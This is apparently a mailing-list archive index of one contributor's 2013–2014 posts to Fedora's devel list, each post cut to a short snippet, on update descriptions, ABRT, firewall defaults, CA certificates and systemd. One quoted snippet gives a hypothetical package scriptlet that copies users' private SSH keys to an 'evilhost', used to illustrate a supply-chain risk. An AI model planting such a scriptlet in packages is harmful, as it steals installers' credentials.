Re: Dracut HostOnly or ConfigurationOnly?

2013-09-05 Thread Michael Catanzaro
On Thu, 2013-09-05 at 14:25 +, Jóhann B. Guðmundsson wrote: On 09/05/2013 02:10 PM, Vratislav Podzimek wrote: 2) regenerate the initrd at the end of the installation This is what should be done both for live and regular installs. JBG The LUKS password issue is pretty serious.

Re: Proposal: AppData files in all application packages?

2013-09-09 Thread Michael Catanzaro
On Mon, 2013-09-09 at 17:59 +0200, Remi Collet wrote: Sorry, but this need more explanation / sample / howto. As I understand, localization is not planned for 3.10. Sorry, but without translation, I just think this is a NO-GO for me. Remi. Translations are now supported, see

Re: F20 KDE session login options

2013-09-11 Thread Michael Catanzaro
On Thu, 2013-09-12 at 00:13 +0100, Ian Malone wrote: 1. This is the case for the KDE live CD install too. 2. Where the custom session might be coming from (wondering if something specific to this spin or the KDE spins in gene Looks like https://bugzilla.redhat.com/show_bug.cgi?id=1004902

Re: Is Gnome Software ready for primetime ?

2013-11-01 Thread Michael Catanzaro
On Fri, 2013-11-01 at 11:01 +, Richard Hughes wrote: Sure. GNOME is a complete desktop, not a collection of packages designed to be replaced. Personally, I see little benefit in prohibiting users from removing core apps. If they don't like a particular program, why force it on them? Many

Re: OpenH264 in Fedora

2013-11-02 Thread Michael Catanzaro
Another important point is that future versions of Firefox will download and install (I'm not quite sure where) the binary from Cisco's website, unless some about:config setting is disabled. I imagine this could possibly mean H.264 will work only in Firefox but not other browsers, which would

Re: gnome software shell search provider? [Re: Is Gnome Software ready for primetime?]

2013-11-02 Thread Michael Catanzaro
On Sat, 2013-11-02 at 12:05 -0400, Matthew Miller wrote: Richard, who is we in this context? And what is offline? we = GNOME, via systemd offline = Install Updates Restart [1]. Your computer shuts down, installs updates, shuts down again, and then boots back to GDM. This has been around since

Re: OpenH264 in Fedora

2013-11-02 Thread Michael Catanzaro
On Sat, 2013-11-02 at 20:45 +0100, Florian Weimer wrote: I expect that the actual licensing terms will only cover end users for their own personal, non-commercial use (the language used in the end user licensing terms for existing platform codecs in Windows and Flash). These terms will be

Re: gnome software shell search provider? [Re: Is Gnome Software ready for primetime?]

2013-11-02 Thread Michael Catanzaro
On Sat, 2013-11-02 at 20:35 +, Richard Hughes wrote: Doesn't work with libreoffice, firefox or any application that loads plugins or modules. I thought applications shipping desktop files would be updated online, and other packages would trigger offline updates. Has this plan changed?

Re: OpenH264 in Fedora

2013-11-04 Thread Michael Catanzaro
On Mon, 2013-11-04 at 13:29 -0600, Bruno Wolff III wrote: I have asked on the advisory-board list about getting an official Fedora position on OpenH264 before the vote occurs. I don't want to be making claims about Fedora on my own on how far Fedora will or won't go in supporting

Re: OpenH264 in Fedora

2013-11-04 Thread Michael Catanzaro
On Mon, 2013-11-04 at 15:29 -0600, Bruno Wolff III wrote: That's not what it says. That just says we won't package the binary. What isn't answered is limitations on the process for Firefox downloading it in Fedora. I really doubt firefox will be totally prevented from downloading the binary

Re: OpenH264 in Fedora

2013-11-07 Thread Michael Catanzaro
On Sat, 2013-11-02 at 08:11 -0700, Gregory Maxwell wrote: The rtcweb WG session which will discuss MTI video codec will be on Thursday the 7th at 13:00 pacific. As usual the meeting will be streamed and anyone can participate remotely via Jabber (rtc...@jabber.ietf.org), but feedback can be

Re: Core file location and abrt

2013-11-11 Thread Michael Catanzaro
On Mon, 2013-11-11 at 15:50 -0500, Braden McDaniel wrote: That page suggests that when abrt is in use, core files would be generated in the location set by abrt, which defaults to /var/spool/abrt. However, I have abrtd running and I'm definitely getting core files in $HOME. Does abrt just

Re: Core file location and abrt

2013-11-11 Thread Michael Catanzaro
On Mon, 2013-11-11 at 22:17 -0500, Braden McDaniel wrote: Given that this is the case, are you saying that I shouldn't be getting core files in $HOME at all? I'm not an ABRT developer, sorry, just wanted to point you to that setting. (I haven't changed it either. My experience is that dumps are

Re: debuginfo packages available in updates later than regular packages.

2013-11-24 Thread Michael Catanzaro
On Sun, 2013-11-24 at 16:50 +0100, Sandro Mani wrote: From abrt-reported bugs where people generate the backtraces locally, it occasionally happens that they send incomplete backtraces due to mismatching debugsymbols, and it would certainly help increasing the quality of backtraces if such

Re: Should a working fedup in Fedora N's stable repository be a release criterion for N+1?

2013-12-17 Thread Michael Catanzaro
On Tue, 2013-12-17 at 18:33 -0800, Andrew Lutomirski wrote: I don't think Fedora is doing its users any favors by declaring F20 to be released when upgrading from F19 using 'fedup --source network 20' is known to be broken. The bleeding-edge types can already upgrade to the beta. I'm

Re: Inter-WG coordination: Stable application runtimes

2013-12-19 Thread Michael Catanzaro
On Thu, 2013-12-19 at 09:52 -0500, Orcan Ogetbil wrote: Didn't we have a mass rebuild due to a C++ ABI change 1 or 2 years ago? Standard C++ does not specify an ABI. Compilers get to handle that themselves. signature.asc Description: This is a digitally signed message part -- devel mailing

Re: Should a working fedup in Fedora N's stable repository be a release criterion for N+1?

2013-12-19 Thread Michael Catanzaro
On Tue, 2013-12-17 at 19:54 -0800, Andrew Lutomirski wrote: Admittedly, the FedUp page says Be sure to get the latest release, this may involve enabling updates-testing (yum --enablerepo=updates-testing install fedup in the command line). I think this is silly. Maybe using the

Re: Schedule for Wednesday's FESCo Meeting (2013-12-18)

2013-12-19 Thread Michael Catanzaro
On Wed, 2013-12-18 at 22:04 +, Jóhann B. Guðmundsson wrote: The EOL process does not improve the user or contributor experience et all it's entire existence does quite the opposite. If we could go with out it we would. Bugzilla is much less useful when it cannot be kept clean. Red

Re: Schedule for Wednesday's FESCo Meeting (2013-12-18)

2013-12-19 Thread Michael Catanzaro
On Wed, 2013-12-18 at 21:40 +, Jóhann B. Guðmundsson wrote: Individual that tells that truth and shed's light how RH operates. Since you are not aware of it Red Hat invented the position of Fedora QA Community Manager ( I dont know who but I would very much like to meet that person )

Re: Schedule for Wednesday's FESCo Meeting (2013-12-18)

2013-12-19 Thread Michael Catanzaro
On Wed, 2013-12-18 at 13:00 -0700, Kevin Fenzi wrote: Some closed end of life bugs don't seem to be re-openable by the reporter. Bugzilla admins say this should work, but there's been some in person reports where it doesn't. Our end of life message tells reporters to re-open and set to the

Re: Disabling ABRT?

2013-12-28 Thread Michael Catanzaro
On Sat, 2013-12-28 at 21:48 +, Richard Fearn wrote: Hi, On 28 December 2013 21:29, Brendan Jones brendan.jones...@gmail.com wrote: I'm doing some development at the moment and I want the coredumps to be dropped somewhere sane (like the executing directory). How do I do it? I think

Re: Disabling ABRT?

2013-12-29 Thread Michael Catanzaro
On Sat, 2013-12-28 at 20:17 -0600, Michael Catanzaro wrote: For unpackaged executables, ABRT should be creating core dumps in the processes' directory, so you shouldn't need to disable it. I think that might be broken, though. For the record, since I suggested this might be broken: it's

Re: unable to run abrt

2013-03-02 Thread Michael Catanzaro
On Sat, 2013-03-02 at 16:13 -0500, Neal Becker wrote: Click on 'report', I get a window that reports 'Processing Failed' and says: --- Running report_uReport --- Unable to parse response from ureport server (exited with 1) Helpful: me too! signature.asc Description: This is a

Re: unable to run abrt

2013-03-03 Thread Michael Catanzaro
On Sun, 2013-03-03 at 15:29 -0800, Dan Mashal wrote: I understand but is this happening on 18? I know it's happening on rawhide for sure. I ran into this yesterday on 18. No bugs today :-) signature.asc Description: This is a digitally signed message part -- devel mailing list

Unhelpful update descriptions

2013-03-11 Thread Michael Catanzaro
times within the past couple of weeks.) I'm not suggesting essays, but at least a unique sentence fragment would be good for each update. Please? :-) Michael Catanzaro signature.asc Description: This is a digitally signed message part -- devel mailing list devel@lists.fedoraproject.org https

Re: Unhelpful update descriptions

2013-03-11 Thread Michael Catanzaro
On Mon, 2013-03-11 at 12:06 -0400, Jared K. Smith wrote: I tend to agree here. That being said, most of my package updates are something along the lines of Update to upstream 2.5 release -- would you find that descriptive enough, or still lacking in detail? Personally I'd prefer some level

Re: Unhelpful update descriptions

2013-03-12 Thread Michael Catanzaro
On Tue, 2013-03-12 at 23:43 +0100, Kevin Kofler wrote: No, it's a MUST. There's a reason Bodhi introduced that placeholder text, to make it clear that empty update notes are NOT acceptable. Some maintainers still don't get it. Just because you're too lazy to do it doesn't mean you aren't

Re: Unhelpful update descriptions

2013-03-13 Thread Michael Catanzaro
there's some contention as to the proper level of detail in update descriptions, and that's fine, but I think we all agree that these two cases are not acceptable. Thanks! Michael Catanzaro signature.asc Description: This is a digitally signed message part -- devel mailing list devel

Re: Unhelpful update descriptions

2013-03-13 Thread Michael Catanzaro
On Tue, 2013-03-12 at 22:29 -0400, Rahul Sundaram wrote: On 03/12/2013 10:18 PM, Michael Catanzaro wrote: Again, I'm disappointed in seeing that placeholder text in stable updates. Clearly that plan failed---it'd be nice if Bodhi could become smart enough to reject updates

Re: Unhelpful update descriptions

2013-03-14 Thread Michael Catanzaro
On Wed, 2013-03-13 at 22:49 +0100, Kevin Kofler wrote: So did I, and I think his proposal is an awful idea. (Unfortunately, question time at DevConf is always very short, so I didn't get to voice my disapproval in the talk.) We are not Window$ (think patch Tuesday) nor RHEL. We're a

Re: Unhelpful update descriptions

2013-03-14 Thread Michael Catanzaro
On Thu, 2013-03-14 at 03:41 -0700, Dan Mashal wrote: How about we just drop support for 2 fedora releases to 1 and go on an 8 month cycle? It's not that bad. Dan I think you'd find plenty of support for that idea iff GNOME switched to 8 months as well. signature.asc Description: This

GNOME games stuck on v3.6.1 for Fedora 19?

2013-04-27 Thread Michael Catanzaro
as well. Michael Catanzaro signature.asc Description: This is a digitally signed message part -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel

Re: GNOME games stuck on v3.6.1 for Fedora 19?

2013-04-27 Thread Michael Catanzaro
On Sat, 2013-04-27 at 19:29 -0400, Rahul Sundaram wrote: The split packages are already in Fedora for a long time and is very up2date Rahul Rahul, Thanks for your help. I'm trying to install gnome-chess in F19 Alpha but can only find v3.6.1 provided by the package

Re: GNOME games stuck on v3.6.1 for Fedora 19?

2013-04-29 Thread Michael Catanzaro
On Mon, 2013-04-29 at 14:56 +0200, Hans de Goede wrote: Hmm, there seem to be 2 issues here: 1) The original built from the unsplit 3.6.1 sources gnome-games-* packages need to be blocked, ie: [hans@shalem ~]$ sudo yum list '*mahjong*' ... gnome-games-mahjongg.x86_64

Re: Do you think this is a security risk and if not is it a bad UI decision?

2013-05-03 Thread Michael Catanzaro
On Fri, 2013-05-03 at 14:26 -0700, Dan Mashal wrote: So I just wanted to email other intelligent people and see if I was crazy or stupid. Dan I don't ever want my password visible onscreen when I am typing it. I'm not worried about people staring at my keyboard when I'm typing my password;

Re: Question about what to do if mantainer is absent

2013-05-14 Thread Michael Catanzaro
On Tue, 2013-05-14 at 14:20 -0600, Kevin Fenzi wrote: On Tue, 14 May 2013 21:04:59 +0100 Richard W.M. Jones rjo...@redhat.com wrote: I suspect the main one is someone putting: %post scp /home/*/.ssh/id_rsa evilhost: into a commonly used package, or something equivalent but more

Re: Question about what to do if mantainer is absent

2013-05-14 Thread Michael Catanzaro
On Tue, 2013-05-14 at 19:09 -0600, Kevin Fenzi wrote: Sure, we have a scm-commits list as well. I don't read every commit, but I do skim them. I can think of lots of times people pointed out issues they saw in the commit messages. Well I mean, someone actually has to press the OK button, or

Re: when startup delays become bugs

2013-05-15 Thread Michael Catanzaro
On Tue, 2013-05-14 at 22:21 -0600, Chris Murphy wrote: I've tried both, but when I rename it I'm using 'hostnamectl set-hostname XXX' as I'm not seeing anything obvious in Gnome that does this. This is on the Details panel of System Settings. You're expected to type a pretty hostnames with

Re: Question about what to do if mantainer is absent

2013-05-15 Thread Michael Catanzaro
On Wed, 2013-05-15 at 12:21 -0600, Pete Zaitcev wrote: How do they deal with a conflict? Imagine someone there splitting texlive into 2500 subpackages and then 100 angry contributors reverting it. What are they going to do in their open model then? -- Pete Well the maintainers would just not

Re: Fedora 19 Final blocker status: fix and karma requests

2013-06-22 Thread Michael Catanzaro
if we care about 1 GB. (It just seems like such a strange target... I don't think you can buy 1 GB USB sticks anymore.) Michael Catanzaro signature.asc Description: This is a digitally signed message part -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman

More unhelpful update descriptions

2013-06-28 Thread Michael Catanzaro
continue to blemish the otherwise-professional image of the distro. A starting point suggestion: Every update should have at least a one sentence description. If the update is not worth writing one sentence about, it is not worth pushing out. Happy Friday, Michael Catanzaro [1] https

Re: More unhelpful update descriptions

2013-06-29 Thread Michael Catanzaro
On Sat, 2013-06-29 at 07:34 -0500, Bruno Wolff III wrote: On Fri, Jun 28, 2013 at 17:52:16 -0700, Adam Williamson awill...@redhat.com wrote: I've suggested before that Bodhi should reject any update with an empty description or with the placeholder text as the description. That would

Re: More unhelpful update descriptions

2013-06-29 Thread Michael Catanzaro
On Sat, 2013-06-29 at 16:08 +0200, Till Maas wrote: If the update fixes a bug which is properly mentioned in the bugs field, why does this fact need to be mentioned again in the update notes? It should be obvious that an update fixing a bug is worth pushing out. Also instead of writing

Re: More unhelpful update descriptions

2013-07-01 Thread Michael Catanzaro
On Mon, 2013-07-01 at 11:25 -0700, Adam Williamson wrote: You appear to be missing the contention made by me and others that the update description is not and should not be a simple repetition of any other content. It is not the RPM changelog. It is not the git commit log. It is not the

Re: More unhelpful update descriptions

2013-07-02 Thread Michael Catanzaro
On Mon, 2013-07-01 at 14:54 -0700, Dan Mashal wrote: There is already a perfect example of this. https://admin.fedoraproject.org/updates/FEDORA-2013-11846/selinux-policy-3.12.1-57.fc19 Dan Thanks for pointing it out. I've filed more negative karma against this update, but it needs even

Re: More unhelpful update descriptions

2013-07-02 Thread Michael Catanzaro
On Mon, 2013-07-01 at 14:54 -0700, Dan Mashal wrote: There is already a perfect example of this. https://admin.fedoraproject.org/updates/FEDORA-2013-11846/selinux-policy-3.12.1-57.fc19 Dan I went through updates-testing looking for placeholder text (and will never be doing that again,

Re: More unhelpful update descriptions

2013-07-03 Thread Michael Catanzaro
On Wed, 2013-07-03 at 09:32 +0200, drago01 wrote: This is also a perfect example of useless does not fix bug x karma. If it is not *worse* then the previous package there is no reason to give it negative karma. Yes, that is a problem too. Particularly so with selinux updates. But getting back

Re: More unhelpful update descriptions

2013-07-03 Thread Michael Catanzaro
On Wed, 2013-07-03 at 16:33 +0100, Richard W.M. Jones wrote: SuSE too ... Rich. But they reformat everything by hand. For a representative example, compare: https://git.gnome.org/browse/evolution/tree/NEWS with

Re: F20 System Wide Change: No Default Syslog

2013-07-17 Thread Michael Catanzaro
On Wed, 2013-07-17 at 14:58 +0200, Lennart Poettering wrote: We ask this constantly on Fedora. Because Fedora is where innovation is supposed to take place, not where things are stay frozen in carbonite forever. (And let's never forget that Fedora is not the pioneer here. ArchLinux went

Re: F20 System Wide Change: No Default Syslog

2013-07-18 Thread Michael Catanzaro
On Thu, 2013-07-18 at 14:17 +0200, Lennart Poettering wrote: I believe openSUSE 12.3 does not install syslog anymore either. (I think they decided they did not want to log everything twice? :) Fedora's following this time. Hm OK. They definitely dropped it from the default install late

Re: Multirelease effort: Moving to Python 3

2013-07-18 Thread Michael Catanzaro
On Thu, 2013-07-18 at 09:53 -0700, Toshio Kuratomi wrote: /usr/bin/python should refer to python2 -- http://www.python.org/dev/peps/pep-0394/ I'd be -1 to changing this But when python2 is no longer installed by default, surely you want to get a python prompt when you type 'python'?

Re: Summary of accepted Fedora 20 Changes - week 30

2013-07-27 Thread Michael Catanzaro
On Sat, 2013-07-27 at 12:54 +0200, Reindl Harald wrote: so i am maintaing more than 20 fedora machines The typical user will have exactly one Fedora desktop. He will never ever look at his system logs. If you told him that his computer can send him email, his head would explode. You can yum

Re: Any objection to upgrading to Vala 0.21/0.22 ?

2013-08-06 Thread Michael Catanzaro
On Tue, 2013-08-06 at 08:52 +0700, Michel Alexandre Salim wrote: Dear developers (esp the GNOME team), Vala 0.21.1 has just been released, which bumps the API level to 0.22 from the 0.20 we're currently shipping. From prior releases, we can't quite predict whether the final 0.22

Re: Any objection to upgrading to Vala 0.21/0.22 ?

2013-08-06 Thread Michael Catanzaro
On Tue, 2013-08-06 at 14:54 +0200, Florian Weimer wrote: On 08/06/2013 02:47 PM, Michael Catanzaro wrote: Several GNOME modules (gnome-chess, gnome-clocks, baobab) require 0.21/0.22 already, so not upgrading means building them only from C. I guess 0.22 will be released in September

Re: Any objection to upgrading to Vala 0.21/0.22 ?

2013-08-06 Thread Michael Catanzaro
On Tue, 2013-08-06 at 08:17 -0500, Michael Catanzaro wrote: I think the reason the packages build in Fedora now is that autoconf gracefully degrades to building from C if the Vala requirement is not met. Perhaps only when maintainer-mode is not in use. (I'm not really sure; what wonderous

Re: Firefox Gtk3 test package

2014-01-16 Thread Michael Catanzaro
On Tue, 2014-01-14 at 20:18 +0100, Reindl Harald wrote: personally if a GTK user does not want GTK3 i want a pure QT firefox to get rid of GTK-dialogs i know that will not happen, but on the KDE desktop *any* GTK2 or GTK3 application is much more disturbing as the difference GTK2/GTK3 When

Re: Auto-expiring bugs are getting absurd

2014-02-05 Thread Michael Catanzaro
On Wed, 2014-02-05 at 14:50 -0800, Adam Williamson wrote: The problem is that no-one seems to come up with an alternative that's any better. Leaving bugs on EOL versions open to rot away and be ignored is no use. We *could* give everyone privs to re-open closed bugs, I guess, and I personally

Re: Auto-expiring bugs are getting absurd

2014-02-07 Thread Michael Catanzaro
On Thu, 2014-02-06 at 23:54 -0800, Adam Williamson wrote: On Thu, 2014-02-06 at 13:21 +0100, Michael Schwendt wrote: Where is the human to notice comments after EOL and act accordingly? In practice, GNOME maintainers have hundreds of bugs apiece and so rarely respond to individual bug reports,

Re: yum upgrade creates /var/run/nologin

2014-02-18 Thread Michael Catanzaro
On Tue, 2014-02-18 at 17:15 -0800, Andrew Lutomirski wrote: This has happened twice now. I run 'yum upgrade' and, all of a sudden, /var/run/nologin exists. It contains a message telling me that my system is still booting. This is, of course, a lie -- the system has been up for quite a

Re: exclude people from giving karma?

2014-02-27 Thread Michael Catanzaro
On Thu, 2014-02-27 at 02:18 +0100, Kevin Kofler wrote: But again, I think that even with no other policy change, just removing the karma automatism misfeature from Bodhi would be an improvement. Or requiring min time in updates-testing (2-3 days) before an autokarma-assisted push.

Re: Proposal: Don't show applications in the software center with XPM icons

2014-03-07 Thread Michael Catanzaro
On Fri, 2014-03-07 at 13:19 +0100, Reindl Harald wrote: says who? as long GTK1 is not forbidden in Fedora there is no valid reason for that statement - you may prefer not having a function at all if it is not beautiful enough for you *but* * beautiful is in the eye of the beholder *

Re: Five Things in Fedora This Week (2014-03-18)

2014-03-18 Thread Michael Catanzaro
On Tue, 2014-03-18 at 16:50 -0400, Matthew Miller wrote: Is it helpful to post this here? If so, is full text important, or is posting a link to the web site fine? Would it be helpful to post it to other lists as well or instead? What about repurposing the defunct news mailing list for just

Re: What will happen to XFCE, LXDE, Mate, Cinnemon in Fedora.Next

2014-03-24 Thread Michael Catanzaro
On Mon, 2014-03-24 at 13:38 -0700, Dan Mashal wrote: You always make sense. But nobody listens. Who the hell wants to install Gnome to install MATE or KDE or XFCE? Nobody, it's madness. I'm pretty sure everyone agrees that spins are here to stay. Are spins the best solution to this problem?

Re: What will happen to XFCE, LXDE, Mate, Cinnemon in Fedora.Next

2014-03-24 Thread Michael Catanzaro
On Mon, 2014-03-24 at 17:14 -0700, Adam Williamson wrote: Saying that nobody wants this, it's madness, totally wacky, almost all users are NOT going to put up with this is going rather too far. I think it's entirely worth the Desktop product making this possible and I suspect quite a lot of

Re: leading vs. bleeding [was Re: Maybe it's time to get rid of tcpwrappers/tcpd?]

2014-03-25 Thread Michael Catanzaro
On Tue, 2014-03-25 at 09:24 -0400, Matthew Miller wrote: I agree with Harald here. I think some people have always wanted it to be, but Fedora never really has been chartered to be bleeding. To quote the first foundation more fully: First represents our commitment to innovation. We are not

Re: Considering GNOME 3.12 as an F20 update

2014-04-03 Thread Michael Catanzaro
On Thu, 2014-04-03 at 23:00 +0530, Gerard Ryan wrote: From what I remember, videos directly in my home directory were displayed as thumbnails on the main window and they would play fine. If I tried to add/open a local video from another location (even subdirectory of my home) by clicking on

Re: Considering GNOME 3.12 as an F20 update

2014-04-05 Thread Michael Catanzaro
On Thu, 2014-04-03 at 22:34 -0500, Rex Dieter wrote: The gnome-3.12 copr includes a couple of low-level package updates that change abi/api that affects other desktops, notably: upower-0.99 PackageKit-0.9.x Are these 2 required by gnome-3.12 or would it be possible to use the (current)

Re: F21 System Wide Change: Workstation: Disable firewall

2014-04-15 Thread Michael Catanzaro
On Tue, 2014-04-15 at 14:35 +0200, Zbigniew Jędrzejewski-Szmek wrote: What needs to be done to improve the firewall integration? Zbyszek The rule in the Workstation technical spec is: A firewall in its default configuration may not interfere with the normal operation of programs installed by

Re: F21 System Wide Change: Workstation: Disable firewall

2014-04-15 Thread Michael Catanzaro
On Tue, 2014-04-15 at 20:31 +0200, Alec Leamas wrote: Anyway, I get the feeling that the hunt for the really proper fix is not that fruitful here. OTOH, if you limit the goals to fulfill the basic statement to not let the default configuration of firewalld block the functionality of the

Re: F21 System Wide Change: Workstation: Disable firewall

2014-04-17 Thread Michael Catanzaro
On Thu, 2014-04-17 at 12:26 -0400, Paul Wouters wrote: For DNS issues we have similar issues. A sane default seems to be that if you plugin a cable or you enter wifi WPA(2) details, you are trusting the network you are connecting to per default. (with NM override options for corner cases like

Re: The Forgotten F: A Tale of Fedora's Foundations

2014-04-21 Thread Michael Catanzaro
On Mon, 2014-04-21 at 08:36 -0400, Stephen Gallagher wrote: At the same time, we regularly allow the packaging of software that can interoperate with non-free software; we allow Pidgin and other IM clients to talk to Google and AOL, we allow email clients to connect to Microsoft Exchange,

Re: [Fedora Update] [CRITPATH] [comment] mesa-10.1-6.20140305.fc20, pure-0.58-3.fc20, python-llvmpy-0.12.4-1.fc20, pocl-0.9-4.fc20.1, OpenGTL-0.9.18-9.fc20, gedit-code-assistance-0.2.0-5.fc20, gambas3

2014-04-21 Thread Michael Catanzaro
On Mon, 2014-04-21 at 16:33 +0200, drago01 wrote: Ouch. Yeah. How did that happen? How can we make it not happen in the future? Well bodhi could simply not allow anyone other then the submitter to press the push button. Other then that ... better communication. Two people -- the

Re: F21 System Wide Change: Workstation: Disable firewall

2014-04-23 Thread Michael Catanzaro
On Wed, 2014-04-23 at 11:37 +0200, Thomas Woerner wrote: There have been plans to query for the zone that should be used for a connection before activating this connection for the first time. There are even sketches for this. But as I said before, this has been rejected by the desktop

Re: Incorrect order of /usr/bin and /usr/sbin in path

2014-05-05 Thread Michael Catanzaro
On Mon, 2014-05-05 at 16:43 +0200, Lennart Poettering wrote: We really should get rid of the destinction, and make all of /bin, /sbin, /usr/sbin a symlink to /usr/bin, and then never bother again about $PATH orders and namespace collisions.. Arch made exactly this change this last year. [1]

Re: comps categories: are they any use to anyone any more?

2014-06-25 Thread Michael Catanzaro
On Wed, 2014-06-25 at 11:34 +0100, Richard Hughes wrote: Apper uses PackageKit, and from Fedora 21 (or Fedora 20 + copr) it's been using the hawkey+librepo backend of PackageKit -- this has no support for comps. So in rawhide, apper won't be using comps at all. Richard KDE developers, does

Re: Patches for trivial bugs sitting in bugzilla - trivial patch policy?

2014-06-26 Thread Michael Catanzaro
This is a really good idea. On Thu, 2014-06-26 at 16:55 -0600, Kevin Fenzi wrote: - Should this be rawhide only? That would avoid 'trivial' patches that cause a problem from affecting users that aren't as able to debug them. No, since the primary use for this would probably be

Re: Patches for trivial bugs sitting in bugzilla - trivial patch policy?

2014-06-27 Thread Michael Catanzaro
On Fri, 2014-06-27 at 08:58 +0200, Ralf Corsepius wrote: This consideration actually is pretty much irrelevant when it comes to bugs. The only thing that counts is Fedora end-user experience, to whom it's quite irrelevant who fixes a bug. In other words, if bug affects users, these

Re: Patches for trivial bugs sitting in bugzilla - trivial patch policy?

2014-06-27 Thread Michael Catanzaro
On Fri, 2014-06-27 at 12:48 +0200, Sandro Mani wrote: So just to clarify here: the idea behind my proposal is not necessarily to aid people who often fix large number of small bugs across packages, for such people it is best if they applied for proven packager status. What I'm more

Re: Koschei - continuous rebuilds for packages

2014-07-01 Thread Michael Catanzaro
On Tue, 2014-07-01 at 19:19 +0200, Lubomir Rintel wrote: Sounds a lot like what openSUSE's Open Build Service does. I think they automatically trigger rebuilds of dependees when a provide they depend on goes away due to a rebuild, so SONAME bumps are a breeze. Yes, soname bumps are

Re: Add Gparted into Live's

2014-08-08 Thread Michael Catanzaro
On Sat, 2014-08-09 at 02:33 +0430, Hedayat Vatankhah wrote: GParted provides a number of essential features users might need, some of which are not provided even by any command line tools in Fedora repositories: resizing and moving partitions/filesystems. And something like resizing FAT

Re: Add Gparted into Live's

2014-08-09 Thread Michael Catanzaro
On Fri, 2014-08-08 at 17:30 -0700, Thomas Gilliard wrote: Unfortunately gparted is the only way to repair a usb stick dd'd with fedora. Need to use gparted's create a new mbr and formatting it fat32, boot flag set. The included disks does not seem to have this feature. Disks can do this. I

Maximum length of command line arguments

2014-08-17 Thread Michael Catanzaro
This is of little practical consequence unless someone really wants to pass a 2 MB command line to a program... but as a curiosity, I ran a diff of a Koji build log from last year against a build from this year, and I noticed something odd in the configure spew. Old build log: checking the

Re: appdata questions

2014-08-20 Thread Michael Catanzaro
On Wed, 2014-08-20 at 15:42 +0200, Karel Volný wrote: why do we penalize users by hiding contents from them when some upstream just doesn't care about this stuff? (see also comment 7 about the unjust burden)? To clarify, the goal is not to penalize users: quite the opposite. We want

Re: GNOME 3.13.91 megaupdate

2014-09-01 Thread Michael Catanzaro
On Mon, 2014-09-01 at 12:40 +0200, Kalev Lember wrote: But if you have anything extra to add, other builds that aren't in f21-gnome, feel free to add those to the spreadsheet and I'll pick them up for the megaupdate. It's missing hitori and the adwaita-icon-theme packages. signature.asc

Re: ca-certificates 2014.2.1 will remove several still valid CA certificates with weak keys

2014-09-01 Thread Michael Catanzaro
On Mon, 2014-08-18 at 23:48 +0200, Kai Engert wrote: Hello, this is a heads-up for an update to the ca-certificates package that I've just submitted for updates-testing for Fedora 19 and 20. The upstream Mozilla CA list maintainers have decided to start removing CA certificates that use a

auto-update-debuginfo and F21

2014-09-03 Thread Michael Catanzaro
Hi all, In Fedora 20, if you update your system with yum then the yum plugin auto-update-debuginfo will enable the debuginfo repository, update the debuginfo packages you have installed, then disable the debuginfo repository. If you update with GNOME Software or Apper, this doesn't happen and you

Re: New Group Calls For Boycotting Systemd

2014-09-08 Thread Michael Catanzaro
On Sun, 2014-09-07 at 22:18 -0700, Adam Williamson wrote: - intercepts coredumps not on Fedora, abrt does that. It's on the roadmap. coredumpctl is really great, and it's wonderful that the ABRT devs are working on this. I don't care too much about the rest of systemd, but coredumpctl

Re: New Group Calls For Boycotting Systemd

2014-09-08 Thread Michael Catanzaro
On Sun, 2014-09-07 at 22:18 -0700, Adam Williamson wrote: - has tools for setting the system time and timezone, and locale Sure. They're useful. In GNOME, our settings panels previously only worked on Fedora and Debian, with some half-functional code for Arch and openSUSE, because each

Re: ca-certificates 2014.2.1 will remove several still valid CA certificates with weak keys

2014-09-08 Thread Michael Catanzaro
On Mon, 2014-09-08 at 10:06 +0200, Nikos Mavrogiannopoulos wrote: Unfortunately only NSS works. Both openssl and gnutls fail to connect to popular sites because of that change. It should not be assumed that the users of ca-certificates are only programs using nss. [1] is an interesting read. I

Re: ca-certificates 2014.2.1 will remove several still valid CA certificates with weak keys

2014-09-08 Thread Michael Catanzaro
On Mon, 2014-09-08 at 17:07 +0200, Nikos Mavrogiannopoulos wrote: I understand but this is not the case here. The internet isn't broken because of gnutls and openssl have some limitation, but because the current NSS derived ca-certificates work assume the NSS validation strategy. This should

Re: ca-certificates 2014.2.1 will remove several still valid CA certificates with weak keys

2014-09-09 Thread Michael Catanzaro
On Mon, 2014-09-08 at 23:26 -0700, Adam Williamson wrote: certificate_list This is a sequence (chain) of certificates. The sender's certificate MUST come first in the list. Each following certificate MUST directly certify the one preceding it. We recently learned the hard

timedated is broken by default in F21

2014-09-09 Thread Michael Catanzaro
On Tue, 2014-09-09 at 10:38 +0200, Miroslav Lichvar wrote: Yeah, that was nice, when it worked as we wanted. Unfortunately, with the latest systemd the NTP service which is enabled/disabled by timedated is no longer selected from the services installed on the systemd, but is now hardcoded to

Re: timedated is broken by default in F21

2014-09-09 Thread Michael Catanzaro
On Tue, 2014-09-09 at 08:37 -0500, Michael Catanzaro wrote: (1) carry a downstream patch to systemd, (2) carry a downstream patch to gnome-control-center Note that (1) would be much easier, since that patch is small and already exists. I expect other distros will either do this, or, more likely

Re: ca-certificates 2014.2.1 will remove several still valid CA certificates with weak keys

2014-09-17 Thread Michael Catanzaro
On Wed, 2014-09-17 at 14:16 +0200, Kai Engert wrote: I think it's good that we have started experimenting with these removals in the testing areas of Fedora, because it raises awareness of these issues, and hopefully can bring higher priority to getting OpenSSL and GnuTLS enhanced. But

Re: [Test-Announce] 2014-09-22 @ 15:00 UTC - Fedora QA Meeting

2014-09-22 Thread Michael Catanzaro
On Sun, 2014-09-21 at 19:55 -0700, Adam Williamson wrote: * Anything else? The dual boot release criteria? Would be nice to get those finalized as soon as possible. signature.asc Description: This is a digitally signed message part -- devel mailing list devel@lists.fedoraproject.org

Re: Proposal: Increasing application icon sizes to 64px

2014-09-29 Thread Michael Catanzaro
On Mon, 2014-09-29 at 22:05 +0100, Ian Malone wrote: Who is using magnifying glasses to view icons? Icons are displayed far larger in GNOME Shell than in other desktop environments, and the difference between an SVG icon and a 256x256 icon (the mandatory minimum size for GNOME apps, and I'm

Re: Proposal: Increasing application icon sizes to 64px

2014-10-01 Thread Michael Catanzaro
On Wed, 2014-10-01 at 08:57 +0100, Ian Malone wrote: That might be a good reason, but it's not the one given at the start of this proposal, that was that larger icons are needed for the software centre (i.e. for applications to get included in the installer) due to higher resolution displays.

Re: Proposal: Increasing application icon sizes to 64px

2014-10-01 Thread Michael Catanzaro
